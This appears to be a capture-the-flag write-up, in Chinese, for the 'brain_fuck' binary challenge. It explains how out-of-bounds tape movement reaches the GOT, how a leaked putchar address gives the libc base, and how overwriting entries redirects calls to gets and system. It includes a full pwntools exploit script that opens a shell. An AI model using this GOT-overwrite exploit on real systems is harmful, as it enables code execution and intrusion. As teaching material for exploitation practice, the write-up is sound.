brain_fuck

 

bss段和got.plt段之间的距离为:A0A0-A030=0x70=112。

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t i; // [esp+28h] [ebp-40Ch]
  char s[1024]; // [esp+2Ch] [ebp-408h]
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(s, 0, 0x400u);
  fgets(s, 1024, stdin);
  for ( i = 0; i < strlen(s); ++i )
    do_brainfuck(s[i]);
  return 0;
}

do_brainfuck函数

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1 - 43;
  switch ( a1 )
  {
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case ',':
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(char *)p);
      break;
    case '/':
    case '0':
    case '1':
    case '2':
    case '3':
    case '4':
    case '5':
    case '6':
    case '7':
    case '8':
    case '9':
    case ':':
    case ';':
    case '=':
    case '?':
    case '@':
    case 'A':
    case 'B':
    case 'C':
    case 'D':
    case 'E':
    case 'F':
    case 'G':
    case 'H':
    case 'I':
    case 'J':
    case 'K':
    case 'L':
    case 'M':
    case 'N':
    case 'O':
    case 'P':
    case 'Q':
    case 'R':
    case 'S':
    case 'T':
    case 'U':
    case 'V':
    case 'W':
    case 'X':
    case 'Y':
    case 'Z':
      return result;
    case '<':
      result = p-- - 1;
      break;
    case '>':
      result = p++ + 1;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
  }
  return result;
}

可知,<使得p--,>使得p++,,表示输入一个字符到指针p指向的内存,.表示输出指针p指向的字符。而且,指针p指向的数据只占据一个字节。

由于.got.plt段中保存了各个调用的库函数的绝对地址,所以让p指向地址0x804A030,然后然后可以输出putchar函数的绝对地址。然后可以利用libc中putchar函数的相对地址,今儿计算出libc的基绝对地址地址,这样以来,memset,fgets等各个库函数的绝对地址就可以计算出来了。

got.plt:0804A030 off_804A030     dd offset putchar       ; DATA XREF: _putchar↑r

然后在.got.plt段中对各个函数的地址进行赋写。这样以来,执行putchar函数时,执行的是main函数。执行memset函数时,实际执行的是gets函数,执行fgets函数时,执行的是system函数。

from pwn import *
from zio3 import p32, u32
from struct import pack

context(os='linux', arch='i386', log_level='debug')

p = process('./bf')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def main():
    p.recvuntil(']')

    put_char_offset = 0x8048a0a0 - 0x8048a030 # tape到got表的相对地址
    payload = '.'  # 输出指针指向的位置
    payload += '<' * put_char_offset  # 指针put_char_offset减1
    payload += '.>' * 4  # 输出指针位置加4的位置
    payload += '<,' * 4 # write put_char 输入内容到putchar的位置
    payload += '<' * 4  # 指向memset的位置
    payload += ',>' * 4 # write memset 输入内容到memset位置后返回到Putchar
    payload += '<' * (0x2c - 0x10 + 4)  # 指针指向fget的位置
    payload += ',>' * 4 # write fgets 向fget输入后指针位置+4
    payload += '.' * (0x400 - len(payload) - 1)
    p.send(payload)
    p.recv()
    leak = p.recv()[1:]

    log.info('get:' + str(len(leak)))
    log.info('leak:' + hex(u32(leak)))

    putchar_pos = u32(leak) # 根据leak,即putchar_pos可以计算出libc的绝对地址
    libc_base = putchar_pos - libc.symbols['putchar'] # 计算libc_base的绝对地址

    system_addr = libc_base + libc.symbols['system'] # 找出system的绝对地址地址
    gets_addr = libc_base + libc.symbols['gets'] # 找出gets的绝对地址地址
    main_addr = 0x08048671

    log.info("libc base at:" + hex(libc_base))

    packed_gadget_pos = p32(main_addr) # 使用p32可以来回转换。十六进制转换为字节序,字节序转换为十六进制

    # write put char
    for x in (packed_gadget_pos[::-1]): # 从高地址向低地址写:从高位到低位(因为是小端方式存储的)
        p.send(x.to_bytes(1, byteorder='little', signed=False))

    # write memset
    for x in p32(gets_addr):
        p.send(x.to_bytes(1, byteorder='little', signed=False))
    #write fgets
    print(p32(system_addr)) # 输出是:b'P\xd2\xd5\xf7'
    for x in p32(system_addr): # 单个地遍历,x都是int型的
        p.send(x.to_bytes(1, byteorder='little', signed=False))

    p.recvuntil(']')
    payload = '/bin/sh\x00'
    p.send(payload)

    p.interactive()

if __name__ == '__main__':
    main()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值